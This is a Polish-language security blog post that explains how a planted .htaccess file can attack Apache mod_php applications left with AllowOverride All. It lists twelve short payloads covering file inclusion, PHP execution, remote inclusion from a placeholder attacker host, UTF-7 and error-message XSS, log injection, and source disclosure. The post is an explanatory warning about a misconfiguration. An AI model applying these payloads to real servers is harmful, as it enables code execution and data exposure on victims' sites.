NFsec Logo

Wstrzykiwanie .htaccess do aplikacji PHP

22/01/2017 w Ataki Internetowe, Bezpieczeństwo Brak komentarzy.  (artykuł nr 583, ilość słów: 329)

M

imo, że nginx zyskuje coraz więcej na popularności, jeśli chodzi o główny serwer serwujący treści w internecie to Apache z jego mod_php nadal jest faworyzowany w większości systemów CMS oraz webaplikacji napisanych w języku PHP. Bardzo częstym błędem jest oddawanie pełnej kontroli takim aplikacjom i ustawianiu dla ich katalogu opcji AllowOverride na wartość All. Poniżej znajduje się kilka przykładów (w większości działają nawet z 7 wersją PHP), które po wstrzyknięciu / umieszczeniu pliku .htaccess do takiego katalogu dają ciekawe efekty:

1. Zawarcie innego pliku:

Warunek: pusty plik index.php
Zawartość .htaccess:

php_value auto_append_file /etc/hosts

2. Wykonanie kodu PHP:

Warunek: pusty plik index.php
Zawartość .htaccess:

php_value auto_append_file .htaccess
#<?php phpinfo();

3. Zawarcie lokalnego lub zdalnego pliku:

Warunek: pusty plik index.php
Zawartość .htaccess:

php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://zloczynca.pl/zly-kod.txt

4. XSS i wykonanie kodu z pomocą UTF-7:

Warunek: pusty plik index.php
Zawartość .htaccess:

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADs

5. XSS poprzez link komunikatu błędu:

Warunek: plik index.php wyświetla komunikat błędu

<?php
include('foo');

Zawartość .htaccess:

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

6. XSS poprzez rozszerzenie komunikatu błędu:

Warunek: plik index.php wyświetla komunikat błędu

<?php
include('foo');

Zawartość .htaccess:

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "x"
php_value docref_ext "<script>alert(1);</script>"

7. XSS poprzez wyróżnienie phps:

Warunek: włączona obsługa plików .phps

<FilesMatch ".+\.phps$">
    SetHandler application/x-httpd-php-source
    Order Allow,Deny
    Allow from all
</FilesMatch>

Zawartość .index.phps:

<?php
test();
// comment
?>
text

Zawartość .htaccess:

php_value highlight.comment '"><script>alert(1);</script>'

8. XSS poprzez funkcję highlight_file()

Zawartość:index.php

< ?php
highlight_file(__FILE__);
// comment

Zawartość .htaccess:

php_value highlight.comment '"><script>alert(1);</script>'

9. Nieudane wstrzyknięcie PHP przez error_log oraz include_path:

Warunek: W tym przykładzie PHP prawidłowo enkoduje encje HTML w wpisach logów.
Zawartość index.php:

<?php include('foo');

Zawartość .htaccess:

php_value error_log /var/www/foo.php
php_value include_path "<?php phpinfo(); __halt_compiler();"

10. Nieudane wstrzyknięcie PHP przez error_log oraz auto_prepend_file:

Warunek: pusty plik index.php
Zawartość .htaccess:

php_value error_log /var/www/foo.php
php_value auto_prepend_file "<?php phpinfo(); __halt_compiler();"

11. Wstrzyknięcie kodu PHP przez error_log oraz UTF-7:

Warunek: pusty plik index.php
Zawartość .htaccess:

php_value error_log /var/www/foo.php
#---- "<?php phpinfo(); __halt_compiler();" zapisany w UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

12. Ujawnienie kodu źródłowego:

Zawartość index.php:

<?php some_code();

Zawartość .htaccess:

php_flag engine 0

Więcej informacji: PHP htaccess injection cheat sheet

Kategorie K a t e g o r i e : Ataki Internetowe, Bezpieczeństwo

Tagi T a g i : , , , , , ,

Komentowanie tego wpisu jest zablokowane.